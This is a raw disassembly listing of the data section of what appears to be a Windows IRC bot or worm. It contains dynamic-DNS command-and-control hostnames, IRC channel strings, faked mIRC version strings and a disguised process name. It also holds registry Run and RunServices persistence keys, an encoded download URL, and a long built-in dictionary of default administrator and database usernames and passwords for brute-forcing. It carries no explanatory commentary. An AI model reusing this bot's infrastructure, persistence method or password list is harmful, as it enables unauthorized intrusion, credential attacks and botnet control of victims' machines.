		dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h
		dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh
		dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch,	26D930Ah
		dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h
		dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh,	0E5D5BE0Dh
		dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h,	68DDB3F8h
		dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h,	18B74777h
		dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch,	8F659EFFh
		dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh
		dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh
		dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h
		dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch
		dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h
		dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h
		dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh
dword_427620	dd 2Eh			; DATA XREF: sub_401ACD+3428o
					; sub_401ACD+3514o ...
dword_427624	dd 2Eh			; DATA XREF: sub_401ACD+3850o
					; sub_401ACD+388Ao ...
aGetHttp1_0Host	db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_40D4E2+62o
		db 'Host: %s',0Dh,0Ah
		db 'Authorization: Negotiate %s',0Dh,0Ah
		db 0Dh,0Ah,0
		align 8
dbl_427668	dq 1.388888888888889e-2	; DATA XREF: sub_40D2F4+2Fr
dbl_427670	dq 1.666666666666667e-1	; DATA XREF: sub_40D2F4+15r
dword_427678	dd 0FFFFFFFFh		; DATA XREF: sub_40D340+16Fr
					; sub_40D774r ...
		align 10h
dbl_427680	dq 1.333333333333333	; DATA XREF: sub_40D340+79r
dword_427688	dd 2 dup(0)		; DATA XREF: sub_40D4E2+4Do
					; sub_40D824+5Bo ...
dbl_427690	dq 9.765625e-4		; DATA XREF: ___:00416A5Dr
					; ___:00416A78r ...
dbl_427698	dq -1.52587890625e-4	; DATA XREF: sub_417E84+3E5r
dbl_4276A0	dq 3.0517578125e-4	; DATA XREF: sub_417E84+3C5r
dbl_4276A8	dq -3.0517578125e-4	; DATA XREF: sub_417E84+342r
					; sub_417E84+3A7r
dbl_4276B0	dq 1.52587890625e-4	; DATA XREF: sub_417E84+271r
dbl_4276B8	dq -1.739501953125e-3	; DATA XREF: sub_417E84+24Br
					; sub_417E84+2D5r ...
dbl_4276C0	dq 3.11279296875e-3	; DATA XREF: sub_417E84+E1r
dbl_4276C8	dq 3.0517578125e-5	; DATA XREF: sub_417E84+AEr
					; sub_417E84+138r ...
dbl_4276D0	dq 6.103515625e-5	; DATA XREF: sub_417E84+93r
					; sub_417E84+308r
dbl_4276D8	dq 2.288818359375e-3	; DATA XREF: sub_417E84+21r
dbl_4276E0	dq -3.0517578125e-5	; DATA XREF: sub_418BD1+2Br
flt_4276E8	dd 9.765625e-4		; DATA XREF: sub_41AA1E+1B0r
flt_4276EC	dd 8.0			; DATA XREF: sub_41AA1E+1AAr
flt_4276F0	dd 0.0			; DATA XREF: sub_41AA1E+171r
flt_4276F4	dd 1.0e-3		; DATA XREF: sub_41AA1E+168r
dbl_4276F8	dq 1.0			; DATA XREF: sub_41D055+6Cr
					; sub_41D19B+6Cr ...
		dd 0FFFFFFFFh, 41E2AAh,	41E2BEh
a__global_heap_	db '__GLOBAL_HEAP_SELECTED',0 ; DATA XREF: ___:0041E5B8o
		align 4
a__msvcrt_heap_	db '__MSVCRT_HEAP_SELECT',0 ; DATA XREF: ___:0041E579o
		align 4
byte_42773C	db 6			; DATA XREF: sub_41FF3F:loc_41FF96r
		db 2 dup(0), 6
		dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h
		dd 50h,	38282000h, 8075850h, 30303700h,	75057h,	8202000h
		dd 0
		dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h
		dd 8000008h, 7000800h, 8
aNull:					; DATA XREF: ___:off_43D094o
		unicode	0, <(null)>,0
		align 4
aNull_0		db '(null)',0           ; DATA XREF: ___:off_43D090o
		align 10h
a_yn		db '_yn',0
a_y1		db '_y1',0
a_y0		db '_y0',0
aFrexp		db 'frexp',0
		align 4
aFmod		db 'fmod',0
		align 4
a_hypot		db '_hypot',0
		align 4
a_cabs		db '_cabs',0
		align 4
aLdexp		db 'ldexp',0
		align 4
aModf		db 'modf',0
		align 4
aFabs		db 'fabs',0
		align 4
aFloor		db 'floor',0
		align 4
aCeil		db 'ceil',0
		align 4
aTan		db 'tan',0
aCos		db 'cos',0
aSin		db 'sin',0
aSqrt		db 'sqrt',0
		align 4
aAtan2		db 'atan2',0
		align 10h
aAtan		db 'atan',0
		align 4
aAcos		db 'acos',0
		align 10h
aAsin		db 'asin',0
		align 4
aTanh		db 'tanh',0
		align 10h
aCosh		db 'cosh',0
		align 4
aSinh		db 'sinh',0
		align 10h
aLog10		db 'log10',0
		align 4
aPow		db 'pow',0
aExp		db 'exp',0              ; DATA XREF: ___:off_43D30Co
dbl_427860	dq 0.0			; DATA XREF: sub_421BFF+8Cr
					; sub_421BFF+ACr ...
dbl_427868	dq 4.195835e6		; DATA XREF: sub_422114+Fr
dbl_427870	dq 3.145727e6		; DATA XREF: sub_422114+6r
aIsprocessorfea	db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_422152+Fo
		align 4
aKernel32	db 'KERNEL32',0         ; DATA XREF: sub_422152o
		align 10h
aE000		db 'e+000',0            ; DATA XREF: sub_422279+93o
		align 4
dword_4278A8	dd 0FFFFFFFFh, 422964h,	42296Eh, 0 ; DATA XREF:	sub_4228FD+5o
dword_4278B8	dd 0FFFFFFFFh, 0	; DATA XREF: sub_422A2C+5o
		dd offset loc_422AEA
		align 8
		dd offset sub_422AC8
		dd offset sub_422AD2
dword_4278D0	dd 0FFFFFFFFh, 422D1Ah,	422D1Eh, 0 ; DATA XREF:	sub_422B62+5o
dword_4278E0	dd 0FFFFFFFFh, 422D7Ch,	422D85h, 0 ; DATA XREF:	sub_422D26+5o
dword_4278F0	dd 0FFFFFFFFh, 0	; DATA XREF: sub_422DFC+5o
		dd offset loc_422E4D
		align 10h
		dd offset loc_422E39
		dd offset loc_422E3D
dword_427908	dd 0FFFFFFFFh, 0	; DATA XREF: sub_422E52+5o
		dd offset loc_422EA3
		align 8
		dd offset loc_422E8F
		dd offset loc_422E93
dword_427920	dd 2 dup(0)		; DATA XREF: sub_4232A8+36o
					; sub_4244F4+39o ...
dword_427928	dd 0FFFFFFFFh, 4233B8h,	4233BCh, 0FFFFFFFFh, 42346Ch, 423470h
					; DATA XREF: sub_4232A8+5o
		dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h
		dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0
		dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h
		dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h
		dd 65682065h, 0A0D7061h, 0
aR6027NotEnough	db 'R6027',0Dh,0Ah
		db '- not enough space for lowio initialization',0Dh,0Ah,0
		align 10h
aR6026NotEnough	db 'R6026',0Dh,0Ah
		db '- not enough space for stdio initialization',0Dh,0Ah,0
		align 4
aR6025PureVirtu	db 'R6025',0Dh,0Ah
		db '- pure virtual function call',0Dh,0Ah,0
		align 10h
aR6024NotEnough	db 'R6024',0Dh,0Ah
		db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
		align 4
aR6019UnableToO	db 'R6019',0Dh,0Ah
		db '- unable to open console device',0Dh,0Ah,0
		align 4
aR6018Unexpecte	db 'R6018',0Dh,0Ah
		db '- unexpected heap error',0Dh,0Ah,0
		align 4
aR6017Unexpecte	db 'R6017',0Dh,0Ah
		db '- unexpected multithread lock error',0Dh,0Ah,0
		align 4
aR6016NotEnough	db 'R6016',0Dh,0Ah
		db '- not enough space for thread data',0Dh,0Ah,0
aAbnormalProgra	db 0Dh,0Ah
		db 'abnormal program termination',0Dh,0Ah,0
		align 4
aR6009NotEnough	db 'R6009',0Dh,0Ah
		db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough	db 'R6008',0Dh,0Ah
		db '- not enough space for arguments',0Dh,0Ah,0
		align 10h
aR6002FloatingP	db 'R6002',0Dh,0Ah      ; DATA XREF: ___:off_43D4DCo
		db '- floating point not loaded',0Dh,0Ah,0
		align 4
aMicrosoftVisua	db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_423DD1+119o
		align 10h
asc_427BF0	db 0Ah			; DATA XREF: sub_423DD1+F1o
		db 0Ah,0
		align 4
aRuntimeErrorPr	db 'Runtime Error!',0Ah ; DATA XREF: sub_423DD1+D3o
		db 0Ah
		db 'Program: ',0
		align 10h
a___		db '...',0              ; DATA XREF: sub_423DD1+BFo
aProgramNameUnk	db '<program name unknown>',0 ; DATA XREF: sub_423DD1+7Do
		align 10h
dword_427C30	dd 0FFFFFFFFh, 4245EDh,	4245F1h	; DATA XREF: sub_4244F4+5o
aGetlastactivep	db 'GetLastActivePopup',0 ; DATA XREF: sub_425029+3Do
		align 10h
aGetactivewindo	db 'GetActiveWindow',0  ; DATA XREF: sub_425029+35o
aMessageboxa	db 'MessageBoxA',0      ; DATA XREF: sub_425029+24o
a1Qnan		db '1#QNAN',0           ; DATA XREF: sub_425973:loc_425A68o
		align 4
a1Inf		db '1#INF',0            ; DATA XREF: sub_425973+D8o
		align 4
a1Ind		db '1#IND',0            ; DATA XREF: sub_425973+C7o
		align 4
a1Snan		db '1#SNAN',0           ; DATA XREF: sub_425973+ADo
		align 4
		dd offset dword_427DAC
off_427C90	dd offset loc_4260E2	; DATA XREF: sub_4260BA+8o
					; sub_4260FE+2Co ...
		dd offset sub_4260D5
		dd offset sub_4262F6
		dd offset dword_427DF8
off_427CA0	dd offset sub_42614C	; DATA XREF: sub_4260FE+3Ao
					; sub_426168o ...
		dd offset sub_4260D5
		dd offset loc_426332
dword_427CAC	dd 0			; DATA XREF: sub_4260FE+16o
					; sub_4261D0+16o
aInvalidStringP	db 'invalid string position',0 ; DATA XREF: sub_426173+11o
		dd offset dword_427E44
off_427CCC	dd offset sub_42625B	; DATA XREF: sub_426277o
					; sub_42629A+37o ...
		dd offset sub_4260D5
		dd offset loc_426314
aStringTooLong	db 'string too long',0  ; DATA XREF: sub_42629A+11o
		dd offset dword_427E88
off_427CEC	dd offset loc_4264A5	; DATA XREF: sub_426490o
					; ___:off_43DAE4o ...
		dd offset dword_427EB8
off_427CF4	dd offset loc_4264C1	; DATA XREF: sub_4264DD+8o
					; sub_42651A+8o ...
		dd offset sub_42657A
aUnknownExcepti	db 'Unknown exception',0 ; DATA XREF: sub_42657A+7o
		align 10h
dword_427D10	dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF:	sub_426587+Eo
		dd 3, 19930520h, 2 dup(0)
dword_427D30	dd 0FFFFFFFFh, 426738h,	42673Ch, 0FFFFFFFFh, 4267B5h, 4267B9h
					; DATA XREF: sub_426636+5o
dword_427D48	dd 0FFFFFFFFh, 4269ADh,	4269B1h, 0FFFFFFFFh, 426A0Ah, 426A0Eh
					; DATA XREF: sub_4268C1+5o
		dd 43DAE4h, 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
off_427D78	dd offset off_43DAFC	; DATA XREF: ___:00427D90o
					; ___:00427DDCo ...
		dd 1, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427D78
		dd offset dword_427D48+18h
dword_427D98	dd 3 dup(0)		; DATA XREF: ___:00427DBCo
		dd 2, 427D90h
dword_427DAC	dd 3 dup(0)		; DATA XREF: ___:00427C8Co
		dd offset off_43DAFC
		dd offset dword_427D98+4
off_427DC0	dd offset off_43DB1C	; DATA XREF: ___:00427DD8o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427DC0
		dd offset off_427D78
		dd offset dword_427D48+18h
		dd 0
		db    0			; DATA XREF: ___:00427E08o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 3, 427DD8h
dword_427DF8	dd 3 dup(0)		; DATA XREF: ___:00427C9Co
		dd offset off_43DB1C
		dd offset unk_427DE8
off_427E0C	dd offset off_43DB3C	; DATA XREF: ___:00427E24o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427E0C
		dd offset off_427D78
		dd offset dword_427D48+18h
dword_427E30	dd 3 dup(0)		; DATA XREF: ___:00427E54o
		dd 3, 427E24h
dword_427E44	dd 3 dup(0)		; DATA XREF: ___:00427CC8o
		dd offset off_43DB3C
		dd offset dword_427E30+4
off_427E58	dd offset off_43DB60	; DATA XREF: ___:00427E70o
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427E58
		dd 0
		db    0			; DATA XREF: ___:00427E98o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 1, 427E70h
dword_427E88	dd 3 dup(0)		; DATA XREF: ___:00427CE8o
		dd offset off_43DB60
		dd offset unk_427E78
		dd offset dword_427D48+18h
dword_427EA0	dd 4 dup(0)		; DATA XREF: ___:00427EC8o
		dd 1, 427E9Ch
dword_427EB8	dd 3 dup(0)		; DATA XREF: ___:00427CF0o
		dd offset off_43DAE4
		dd offset dword_427EA0+8
		align 10h
dword_427ED0	dd 19930520h, 2, 427EF0h, 5 dup(0) ; DATA XREF:	___:loc_426AA7o
		dd 0FFFFFFFFh, 426A90h,	0
		dd offset sub_426A88
dword_427F00	dd 19930520h, 2, 427F20h, 5 dup(0) ; DATA XREF:	___:loc_426AC4o
		dd 0FFFFFFFFh, 426AB4h,	0
		dd offset loc_426ABC
dword_427F30	dd 19930520h, 2, 427F50h, 1, 427F60h, 3	dup(0) ; DATA XREF: ___:loc_426AD0o
		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 427F78h, 4	dup(0)
		dd offset loc_40DA8E
		dd 0FFFFFFFFh, 426ADAh
dword_427F90	dd 19930520h, 1, 427F88h, 5 dup(0) ; DATA XREF:	___:loc_426AE2o
		dd offset off_43DAE4
		align 8
		dd 0FFFFFFFFh, 0
		dd 0Ch,	42651Ah, 0
		dd offset off_43DAFC
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	426218h, 0
		dd offset off_43DB1C
		align 10h
		dd 0FFFFFFFFh, 0
dword_427FF8	dd 1Ch,	426282h, 3, 427FE4h, 427FC8h, 427FACh ;	DATA XREF: ___:0042801Co
dword_428010	dd 0			; DATA XREF: sub_426173+2Eo
					; sub_4262F6+4Bo
		dd offset sub_426168
		dd 0
		dd offset dword_427FF8+8
		dd 0FFFFFFFFh, 426AECh
dword_428028	dd 19930520h, 1, 428020h, 4 dup(0) ; DATA XREF:	___:loc_426AF4o
		dd 0FFFFFFFFh, 426AFEh
dword_42804C	dd 19930520h, 1, 428044h, 4 dup(0) ; DATA XREF:	___:loc_426B06o
		dd 0FFFFFFFFh, 426B10h
dword_428070	dd 19930520h, 1, 428068h, 5 dup(0) ; DATA XREF:	___:loc_426B18o
		dd offset off_43DB3C
		align 8
		dd 0FFFFFFFFh, 0
dword_4280A0	dd 1Ch,	4262DEh, 3, 42808Ch, 427FC8h, 427FACh ;	DATA XREF: ___:004280C4o
dword_4280B8	dd 0			; DATA XREF: sub_42629A+2Eo
					; sub_4262F6+2Do
		dd offset sub_426277
		dd 0
		dd offset dword_4280A0+8
		dd 0FFFFFFFFh, 426B22h
dword_4280D0	dd 19930520h, 1, 4280C8h, 4 dup(0) ; DATA XREF:	___:loc_426B2Ao
dword_4280EC	dd 2, 427FC8h, 427FACh	; DATA XREF: ___:00428104o
dword_4280F8	dd 0			; DATA XREF: sub_4262F6+Fo
		dd offset sub_4260BA
		dd 0
		dd offset dword_4280EC
		dd 5 dup(5126D19Fh), 5 dup(35DBB204h), 75h dup(0)
		dd 35DBB204h, 15h dup(0)
		dd 5126D19Fh, 6	dup(0)
		dd 45560000h, 4F495352h, 6C642E4Eh, 6Ch, 31Eh dup(0)
dword_429000	dd 0			; DATA XREF: ___:0041C183o
		dd offset loc_401205
		dd offset sub_40DB3C
		dd offset dword_40EF1C+1D0h
dword_429010	dd 0			; DATA XREF: ___:0041C17Eo
dword_429014	dd 0			; DATA XREF: ___:0041C174o
		dd offset sub_41DA32
		dd offset sub_420B0D
		dd offset sub_42413E
		dd offset word_424F62
dword_429028	dd 0			; DATA XREF: ___:loc_41C16Fo
dword_42902C	dd 0			; DATA XREF: sub_41C1B3+65o
		dd offset sub_4241E3
dword_429034	dd 0			; DATA XREF: sub_41C1B3:loc_41C213o
dword_429038	dd 0			; DATA XREF: sub_41C1B3+76o
		dd offset dword_424F64+0Fh
dword_429040	dd 4 dup(0)		; DATA XREF: sub_41C1B3:loc_41C224o
dword_429050	dd 80000002h, 429170h, 80000002h, 4291A0h, 80000001h, 429170h
					; DATA XREF: sub_401000+7o
dword_429068	dd 6272h		; DATA XREF: sub_401000+63o
					; sub_4010AB+Bo ...
dword_42906C	dd 1B58h		; DATA XREF: ___:004016C5r
					; ___:0040175Ar
dword_429070	dd 0C8Bh		; DATA XREF: ___:004017A6r
dword_429074	dd 7E4h			; DATA XREF: sub_401ACD:loc_4045D8r
dword_429078	dd 45h			; DATA XREF: sub_401ACD+202Er
					; sub_40BD91+3Br
dword_42907C	dd 7D1h			; DATA XREF: sub_401ACD:loc_403BE9r
					; sub_40BD91:loc_40C182r
dword_429080	dd 201h			; DATA XREF: sub_401ACD:loc_403D75r
word_429084	dw 7C7h			; DATA XREF: sub_401ACD:loc_4046FBr
		align 4
dword_429088	dd 1			; DATA XREF: sub_401ACD+643r
dword_42908C	dd 1			; DATA XREF: ___:0040135Er
dword_429090	dd 1			; DATA XREF: ___:loc_401562r
					; sub_4188A6+Cr
byte_429094	db 2Eh			; DATA XREF: sub_401ACD+A76r
					; sub_401ACD+B30r ...
		align 4
dword_429098	dd 0Ah			; DATA XREF: sub_40AAAC+3Ar
					; sub_40AAAC+60r ...
dword_42909C	dd 4			; DATA XREF: sub_4017ED+78r
					; sub_401ACD+279r ...
dword_4290A0	dd 1			; DATA XREF: sub_4017ED+72r
					; sub_401ACD+273r
aSbrsfgf	db 'sbrsfgf',0          ; DATA XREF: ___:0040127Eo
					; sub_401ACD:loc_40445Do ...
aAbosel7V4	db 'abosel7 v4',0       ; DATA XREF: sub_401ACD:loc_404902o
		align 4
aCool		db 'cool',0             ; DATA XREF: sub_401ACD+7BCBo
					; sub_401ACD+7C9Ao
		align 10h
aScorti1_dns2go	db 'scorti1.dns2go.com',0 ; DATA XREF: ___:004016B1o
					; ___:0040174Bo
		align 4
aFaak		db '#FAAK#',0           ; DATA XREF: ___:004016D1o
					; ___:00401761o ...
		align 4
aSaad_		db 'saad.',0            ; DATA XREF: ___:004016E8o
					; ___:00401773o
		align 4
byte_4290E4	db 73h			; DATA XREF: ___:loc_401789r
					; ___:00401797o
aCorti1_dns2go_	db 'corti1.dns2go.com',0
		align 4
aFaak_0		db '#FAAK#',0           ; DATA XREF: ___:004017ADo
		align 10h
aSaad__0	db 'saad.',0            ; DATA XREF: ___:004017BFo
		align 4
byte_429108	db 77h			; DATA XREF: ___:00401364o
					; ___:00401388w ...
		db 69h,	6Eh, 64h
		dd 73767265h, 6578652Eh, 0
		dd 6E6E6977h, 61622E74h, 74h
aWindosSeresAgn	db 'Windos Seres Agnts',0 ; DATA XREF: sub_401000+Eo
		align 4
		unicode	0, <->,0
aWinsys_dat	db 'winsys.dat',0
		align 4
aXI		db '-x+i',0             ; DATA XREF: sub_401ACD+7D1Do
		align 10h
aF		db '#f',0               ; DATA XREF: sub_401ACD+1E91o
					; sub_401ACD+1EA2o ...
		align 4
aF_0		db '#f',0               ; DATA XREF: sub_401ACD+72B4o
					; sub_401ACD+730Co
		align 4
aF_1		db '#f',0               ; DATA XREF: sub_401ACD+40EAo
					; sub_401ACD+423Ao
		align 4
off_42915C	dd offset a@admin_com	; DATA XREF: sub_401ACD:loc_4096EBo
					; "*@admin.com"
off_429160	dd offset aMircV6_16Khale ; DATA XREF: sub_401ACD+8A7r
					; sub_401ACD+7C3Ao
					; "mIRC	v6.16 Khaled Mardam-Bey"
		dd offset aMircV6_17Khale ; "mIRC v6.17	Khaled Mardam-Bey"
		dd offset aMircV6_20Khale ; "mIRC v6.20	Khaled Mardam-Bey"
		dd offset aMircV6_21Khale ; "mIRC v6.21	Khaled Mardam-Bey"
aSoftwareMicr_0	db 'Software\Microsoft\Windows\CurrentVersion\Run',0
		align 10h
		db 53h
aOftwareMicroso	db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0
		align 4
aSoftwareMicros	db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_41A3C6+28o
					; sub_41A6EA+28o
		align 10h
aSystemCurrentc	db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_41A3C6+D4o
					; sub_41A6EA+D4o
		align 4
		dd 2 dup(1), 70747468h,	772F2F3Ah, 662E7777h, 77656572h
		dd 6F746265h, 632E6E77h, 7A2F6D6Fh, 2F737678h, 73636E76h
		dd 652E6D79h, 6578h, 429938h, 429928h, 429918h,	42990Ch
		dd 429904h, 4298FCh, 4298F4h, 4298ECh, 4298E0h,	4298D8h
		dd 4298D0h, 4298C8h, 4298BCh, 4298B4h, 4298ACh,	4298A0h
		dd 42989Ch, 429894h, 429890h, 0
		dd offset byte_43DB88
		dd offset aAdministrato_0 ; "administrator"
		dd offset aAdministrador ; "administrador"
		dd offset aAdministrateur ; "administrateur"
		dd offset aAdministrat	; "administrat"
		dd offset aAdmins	; "admins"
		dd offset aAdmin	; "admin"
		dd offset aAdm		; "adm"
		dd offset aPassword1	; "password1"
		dd offset aPassword	; "password"
		dd offset aPasswd	; "passwd"
		dd offset aPass1234	; "pass1234"
		dd offset aPass		; "pass"
		dd offset aPwd		; "pwd"
		dd offset a007		; "007"
		dd offset a1		; "1"
		dd offset a12		; "12"
		dd offset a123		; "123"
		dd offset a1234		; "1234"
		dd offset a12345	; "12345"
		dd offset a123456	; "123456"
		dd offset a1234567	; "1234567"
		dd offset a12345678	; "12345678"
		dd offset a123456789	; "123456789"
		dd offset a1234567890	; "1234567890"
		dd offset a2000		; "2000"
		dd offset a2001		; "2001"
		dd offset a2002		; "2002"
		dd offset a2003		; "2003"
		dd offset a2004		; "2004"
		dd offset aTest		; "test"
		dd offset aGuest_0	; "guest"
		dd offset aNone		; "none"
		dd offset aDemo		; "demo"
		dd offset aUnix		; "unix"
		dd offset aLinux	; "linux"
		dd offset aChangeme	; "changeme"
		dd offset aDefault	; "default"
		dd offset aSystem	; "system"
		dd offset aServer	; "server"
		dd offset aRoot		; "root"
		dd offset aNull_1	; "null"
		dd offset aQwerty	; "qwerty"
		dd offset aMail		; "mail"
		dd offset aOutlook	; "outlook"
		dd offset aWeb		; "web"
		dd offset aWww		; "www"
		dd offset aInternet	; "internet"
		dd offset aAccounts	; "accounts"
		dd offset aAccounting	; "accounting"
		dd offset aHome		; "home"
		dd offset aHomeuser	; "homeuser"
		dd offset aUser		; "user"
		dd offset aOem		; "oem"
		dd offset aOemuser	; "oemuser"
		dd offset aOeminstall	; "oeminstall"
		dd offset aWindows	; "windows"
		dd offset aWin98	; "win98"
		dd offset aWin2k	; "win2k"
		dd offset aWinxp	; "winxp"
		dd offset aWinnt	; "winnt"
		dd offset aWin2000	; "win2000"
		dd offset aQaz		; "qaz"
		dd offset aAsd		; "asd"
		dd offset aZxc		; "zxc"
		dd offset aQwe		; "qwe"
		dd offset aBob		; "bob"
		dd offset aJen		; "jen"
		dd offset aJoe		; "joe"
		dd offset aFred		; "fred"
		dd offset aBill		; "bill"
		dd offset aMike		; "mike"
		dd offset aJohn		; "john"
		dd offset aPeter	; "peter"
		dd offset aLuke		; "luke"
		dd offset aSam		; "sam"
		dd offset aSue		; "sue"
		dd offset aSusan	; "susan"
		dd offset aPeter	; "peter"
		dd offset aBrian	; "brian"
		dd offset aLee		; "lee"
		dd offset aNeil		; "neil"
		dd offset aIan		; "ian"
		dd offset aChris	; "chris"
		dd offset aEric		; "eric"
		dd offset aGeorge	; "george"
		dd offset aKate		; "kate"
		dd offset aBob		; "bob"
		dd offset aKatie	; "katie"
		dd offset aMary		; "mary"
		dd offset aLogin	; "login"
		dd offset aLoginpass	; "loginpass"
		dd offset aTechnical	; "technical"
		dd offset aBackup	; "backup"
		dd offset aExchange	; "exchange"
		dd offset aFuck		; "fuck"
		dd offset aBitch	; "bitch"
		dd offset aSlut		; "slut"
		dd offset aSex		; "sex"
		dd offset aGod		; "god"
		dd offset aHell		; "hell"
		dd offset aHello	; "hello"
		dd offset aDomain	; "domain"
		dd offset aDomainpass	; "domainpass"
		dd offset aDomainpassword ; "domainpassword"
		dd offset aDatabase	; "database"
		dd offset aAccess	; "access"
		dd offset aDbpass	; "dbpass"
		dd offset aDbpassword	; "dbpassword"
		dd offset aDatabasepass	; "databasepass"
		dd offset aData		; "data"
		dd offset aDatabasepasswo ; "databasepassword"
		dd offset aDb1		; "db1"
		dd offset aDb2		; "db2"
		dd offset aDb1234	; "db1234"
		dd offset aSa		; "sa"
		dd offset aSql		; "sql"
		dd offset aSqlpassoainsta ; "sqlpassoainstall"
		dd offset aOrainstall	; "orainstall"
		dd offset aOracle	; "oracle"
		dd offset aIbm		; "ibm"
		dd offset aCisco	; "cisco"
		dd offset aDell		; "dell"
		dd offset aCompaq	; "compaq"
		dd offset aSiemens	; "siemens"
		dd offset aHp		; "hp"
		dd offset aNokia	; "nokia"
		dd offset aXp		; "xp"
		dd offset aControl	; "control"
		dd offset aOffice	; "office"
		dd offset aBlank	; "blank"
		dd offset aWinpass	; "winpass"
		dd offset aMain		; "main"
		dd offset aLan		; "lan"
		dd offset aInternet	; "internet"
		dd offset aIntranet	; "intranet"
		dd offset aStudent	; "student"
		dd offset aTeacher	; "teacher"
		dd offset aStaff	; "staff"
		dd 0
dword_4294CC	dd 10h			; DATA XREF: sub_401ACD+AE0r
					; sub_401ACD+B0Cr ...
aIntranet	db 'intranet',0         ; DATA XREF: ___:004294B8o
		align 4
aLan		db 'lan',0              ; DATA XREF: ___:004294B0o
aMain		db 'main',0             ; DATA XREF: ___:004294ACo
		align 4
aWinpass	db 'winpass',0          ; DATA XREF: ___:004294A8o
aBlank		db 'blank',0            ; DATA XREF: ___:004294A4o
		align 4
aOffice		db 'office',0           ; DATA XREF: ___:004294A0o
		align 10h
aControl	db 'control',0          ; DATA XREF: ___:0042949Co
aXp		db 'xp',0               ; DATA XREF: ___:00429498o
		align 4
aNokia		db 'nokia',0            ; DATA XREF: ___:00429494o
		align 4
aHp		db 'hp',0               ; DATA XREF: ___:00429490o
		align 4
aSiemens	db 'siemens',0          ; DATA XREF: ___:0042948Co
aCompaq		db 'compaq',0           ; DATA XREF: ___:00429488o
		align 4
aDell		db 'dell',0             ; DATA XREF: ___:00429484o
		align 10h
aCisco		db 'cisco',0            ; DATA XREF: ___:00429480o
		align 4
aIbm		db 'ibm',0              ; DATA XREF: ___:0042947Co
aOrainstall	db 'orainstall',0       ; DATA XREF: ___:00429474o
		align 4
aSqlpassoainsta	db 'sqlpassoainstall',0 ; DATA XREF: ___:00429470o
		align 4
aSql		db 'sql',0              ; DATA XREF: ___:0042946Co
aSa		db 'sa',0               ; DATA XREF: ___:00429468o
		align 4
aDb1234		db 'db1234',0           ; DATA XREF: ___:00429464o
		align 4
aDb1		db 'db1',0              ; DATA XREF: ___:0042945Co
aDatabasepasswo	db 'databasepassword',0 ; DATA XREF: ___:00429458o
		align 4
aData		db 'data',0             ; DATA XREF: ___:00429454o
		align 4
aDatabasepass	db 'databasepass',0     ; DATA XREF: ___:00429450o
		align 4
aDbpassword	db 'dbpassword',0       ; DATA XREF: ___:0042944Co
		align 4
aDbpass		db 'dbpass',0           ; DATA XREF: ___:00429448o
		align 10h
aAccess		db 'access',0           ; DATA XREF: ___:00429444o
		align 4
aDomainpassword	db 'domainpassword',0   ; DATA XREF: ___:0042943Co
		align 4
aDomainpass	db 'domainpass',0       ; DATA XREF: ___:00429438o
		align 4
aDomain		db 'domain',0           ; DATA XREF: ___:00429434o
		align 4
aHello		db 'hello',0            ; DATA XREF: ___:00429430o
		align 4
aHell		db 'hell',0             ; DATA XREF: ___:0042942Co
		align 4
aGod		db 'god',0              ; DATA XREF: ___:00429428o
aSex		db 'sex',0              ; DATA XREF: ___:00429424o
					; ___:off_438A68o
aSlut		db 'slut',0             ; DATA XREF: ___:00429420o
		align 4
aBitch		db 'bitch',0            ; DATA XREF: ___:0042941Co
		align 4
aFuck		db 'fuck',0             ; DATA XREF: ___:00429418o
		align 4
aExchange	db 'exchange',0         ; DATA XREF: ___:00429414o
		align 4
aBackup		db 'backup',0           ; DATA XREF: ___:00429410o
		align 10h
aTechnical	db 'technical',0        ; DATA XREF: ___:0042940Co
		align 4
aLoginpass	db 'loginpass',0        ; DATA XREF: ___:00429408o
		align 4
aLogin		db 'login',0            ; DATA XREF: ___:00429404o
		align 10h
aMary		db 'mary',0             ; DATA XREF: ___:00429400o
		align 4
